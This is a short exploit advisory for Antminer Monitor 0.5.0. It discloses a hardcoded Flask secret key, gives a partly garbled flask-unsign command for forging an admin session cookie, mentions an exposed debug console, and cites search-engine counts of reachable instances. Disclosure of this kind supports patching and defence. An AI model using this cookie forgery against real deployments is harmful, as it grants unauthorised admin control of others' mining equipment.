# Exploit Title: Antminer Monitor 0.5.0 - Authentication Bypass  
# Date: 09/06/2021  
# Dork:  
# Exploit Author: / Vulnz.  
# Vendor Homepage:,  
# Software Link:,  
# Version: 0.5.0  
# Tested on: Windows, Linux, Macos  
Software is commonly used for Monitoring antminers and could easily be  
found in zoomeye ( 800), shodan ( 500).  
For now this is the most popular antminer monitoring tool.  
Vulnerability in Antminer Monitor exists because of backdoor or  
misconfiguration done  
by developer inside settings file in flask server.  
Settings file has a predefined secret string, which would be randomly  
generated, however it is static in this  
build.antminer-monitor/ at  
5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor ·  
GitHub <>  
Secret key is 'super secret key'.  
Based on this information we can craft authorization bypass cookies.  
Using software flask-unsing we can generate cookie which will provide  
you admin access.  
flask-unsign --sign --cookie "{'_fresh': True, '_id':  
'_user_id': '1', 'csrf_token':  
b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret  
Additionally you can use this universal cookie to access web interface  
of flask application.  
This cookie can work on all systems in "session" field.  
In addition DEBUG = True which means /console works, however it needs pin.